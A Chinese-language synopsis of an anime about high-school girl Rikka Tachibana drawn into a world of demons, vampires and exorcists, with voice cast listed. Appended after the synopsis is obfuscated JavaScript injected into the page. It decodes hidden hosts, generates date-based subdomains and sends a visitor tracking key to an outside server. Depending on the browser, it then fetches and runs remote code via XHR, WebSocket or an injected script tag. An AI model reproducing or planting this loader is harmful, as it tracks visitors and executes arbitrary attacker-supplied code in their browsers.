故事发生在名为四皇町的街道之中，立华律香（茜屋日海夏 配音）是一名正在读高中二年级的平凡少女，和母亲过着相依为命的生活。某日，学生会会长钩贯雷姆（齐藤壮马 配音）忽然找到了律香，将她带往了学生会的据点“第三图书馆”。在那里，新世界的大门在律香的面前打开，就此，律香进入了一个恶魔、吸血鬼和驱魔师互相制约挑战的异世界。因为会说甜言蜜语而在女生之间享有极高人气的楚神乌列（近藤隆 配音）、行事桀骜不驯张扬跋扈却有着细腻柔软内心的南那城梅吉（木村昴 配音）、个性古怪对艺术有着崇高追求的枣坂四季（平川大辅 配音），在这些幻化成人形的魔怪们的围绕下，律香会遭遇怎样的故事呢？
function TtJme(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function SGVPl(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TtJme(t);};window[''+'G'+'Y'+'m'+'o'+'X'+'k'+'u'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function BlWkd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=SGVPl,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=BlWkd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/7747/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=BlWkd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmRzYWhpai5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS54a25lb2suY29tJTNBOTUzNA==','4680',window,document,['l','3']);}:function(){};